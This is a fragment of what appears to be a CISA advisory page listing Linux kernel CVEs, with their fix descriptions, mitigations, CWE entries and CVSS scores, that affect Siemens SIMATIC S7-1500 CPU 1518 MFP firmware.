<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/835.html">CWE-835 Loop with Unreachable Exit Condition ('Infinite Loop')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71162</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: dmaengine: tegra-adma: Fix use-after-free A use-after-free bug exists in the Tegra ADMA driver when audio streams are terminated, particularly during XRUN conditions. The issue occurs when the DMA buffer is freed by tegra_adma_terminate_all() before the vchan completion tasklet finishes accessing it. The race condition follows this sequence: 1. DMA transfer completes, triggering an interrupt that schedules the completion tasklet (tasklet has not executed yet) 2. Audio playback stops, calling tegra_adma_terminate_all() which frees the DMA buffer memory via kfree() 3. The scheduled tasklet finally executes, calling vchan_complete() which attempts to access the already-freed memory Since tasklets can execute at any time after being scheduled, there is no guarantee that the buffer will remain valid when vchan_complete() runs. Fix this by properly synchronizing the virtual channel completion: - Calling vchan_terminate_vdesc() in tegra_adma_stop() to mark the descriptors as terminated instead of freeing the descriptor. - Add the callback tegra_adma_synchronize() that calls vchan_synchronize() which kills any pending tasklets and frees any terminated descriptors. Crash logs: [ 337.427523] BUG: KASAN: use-after-free in vchan_complete+0x124/0x3b0 [ 337.427544] Read of size 8 at addr ffff000132055428 by task swapper/0/0 [ 337.427562] Call trace: [ 337.427564] dump_backtrace+0x0/0x320 [ 337.427571] show_stack+0x20/0x30 [ 337.427575] dump_stack_lvl+0x68/0x84 [ 337.427584] print_address_description.constprop.0+0x74/0x2b8 [ 337.427590] kasan_report+0x1f4/0x210 [ 337.427598] __asan_load8+0xa0/0xd0 [ 337.427603] vchan_complete+0x124/0x3b0 [ 337.427609] tasklet_action_common.constprop.0+0x190/0x1d0 [ 337.427617] tasklet_action+0x30/0x40 [ 337.427623] __do_softirq+0x1a0/0x5c4 [ 337.427628] irq_exit+0x110/0x140 [ 337.427633] handle_domain_irq+0xa4/0xe0 [ 337.427640] gic_handle_irq+0x64/0x160 [ 337.427644] call_on_irq_stack+0x20/0x4c [ 337.427649] do_interrupt_handler+0x7c/0x90 [ 337.427654] el1_interrupt+0x30/0x80 [ 337.427659] el1h_64_irq_handler+0x18/0x30 [ 337.427663] el1h_64_irq+0x7c/0x80 [ 337.427667] cpuidle_enter_state+0xe4/0x540 [ 337.427674] cpuidle_enter+0x54/0x80 [ 337.427679] do_idle+0x2e0/0x380 [ 337.427685] cpu_startup_entry+0x2c/0x70 [ 337.427690] rest_init+0x114/0x130 [ 337.427695] arch_call_rest_init+0x18/0x24 [ 337.427702] start_kernel+0x380/0x3b4 [ 337.427706] __primary_switched+0xc0/0xc8</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71162">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71163</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: dmaengine: idxd: fix device leaks on compat bind and unbind Make sure to drop the reference taken when looking up the idxd device as part of the compat bind and unbind sysfs interface.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71163">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71185</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: dmaengine: ti: dma-crossbar: fix device leak on am335x route allocation Make sure to drop the reference taken when looking up the crossbar platform device during am335x route allocation.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71185">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71186</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: dmaengine: stm32: dmamux: fix device leak on route allocation Make sure to drop the reference taken when looking up the DMA mux platform device during route allocation. Note that holding a reference to a device does not prevent its driver data from going away so there is no point in keeping the reference.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71186">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71189</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: dmaengine: dw: dmamux: fix OF node leak on route allocation failure Make sure to drop the reference taken to the DMA master OF node also on late route allocation failures.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71189">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71190</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: dmaengine: bcm-sba-raid: fix device leak on probe Make sure to drop the reference taken when looking up the mailbox device during probe on probe failures and on driver unbind.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71190">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71191</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: dmaengine: at_hdmac: fix device leak on of_dma_xlate() Make sure to drop the reference taken when looking up the DMA platform device during of_dma_xlate() when releasing channel resources. Note that commit 3832b78b3ec2 ("dmaengine: at_hdmac: add missing put_device() call in at_dma_xlate()") fixed the leak in a couple of error paths but the reference is still leaking on successful allocation.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71191">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71197</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: w1: therm: Fix off-by-one buffer overflow in alarms_store The sysfs buffer passed to alarms_store() is allocated with 'size + 1' bytes and a NUL terminator is appended. However, the 'size' argument does not account for this extra byte. The original code then allocated 'size' bytes and used strcpy() to copy 'buf', which always writes one byte past the allocated buffer since strcpy() copies until the NUL terminator at index 'size'. Fix this by parsing the 'buf' parameter directly using simple_strtoll() without allocating any intermediate memory or string copying. This removes the overflow while simplifying the code.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71197">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71221</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: dmaengine: mmp_pdma: Fix race condition in mmp_pdma_residue() Add proper locking in mmp_pdma_residue() to prevent use-after-free when accessing descriptor list and descriptor contents. The race occurs when multiple threads call tx_status() while the tasklet on another CPU is freeing completed descriptors: CPU 0 CPU 1 ----- ----- mmp_pdma_tx_status() mmp_pdma_residue() -&gt; NO LOCK held list_for_each_entry(sw, ..) DMA interrupt dma_do_tasklet() -&gt; spin_lock(&amp;desc_lock) list_move(sw-&gt;node, ...) spin_unlock(&amp;desc_lock) | dma_pool_free(sw) &lt;- FREED! -&gt; access sw-&gt;desc &lt;- UAF! This issue can be reproduced when running dmatest on the same channel with multiple threads (threads_per_chan &gt; 1). Fix by protecting the chain_running list iteration and descriptor access with the chan-&gt;desc_lock spinlock.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71221">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71265</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: fs: ntfs3: fix infinite loop in attr_load_runs_range on inconsistent metadata We found an infinite loop bug in the ntfs3 file system that can lead to a Denial-of-Service (DoS) condition. A malformed NTFS image can cause an infinite loop when an attribute header indicates an empty run list, while directory entries reference it as containing actual data. In NTFS, setting evcn=-1 with svcn=0 is a valid way to represent an empty run list, and run_unpack() correctly handles this by checking if evcn + 1 equals svcn and returning early without parsing any run data. However, this creates a problem when there is metadata inconsistency, where the attribute header claims to be empty (evcn=-1) but the caller expects to read actual data. When run_unpack() immediately returns success upon seeing this condition, it leaves the runs_tree uninitialized with run-&gt;runs as a NULL. The calling function attr_load_runs_range() assumes that a successful return means that the runs were loaded and sets clen to 0, expecting the next run_lookup_entry() call to succeed. Because runs_tree remains uninitialized, run_lookup_entry() continues to fail, and the loop increments vcn by zero (vcn += 0), leading to an infinite loop. This patch adds a retry counter to detect when run_lookup_entry() fails consecutively after attr_load_runs_vcn(). If the run is still not found on the second attempt, it indicates corrupted metadata and returns -EINVAL, preventing the Denial-of-Service (DoS) vulnerability.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71265">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
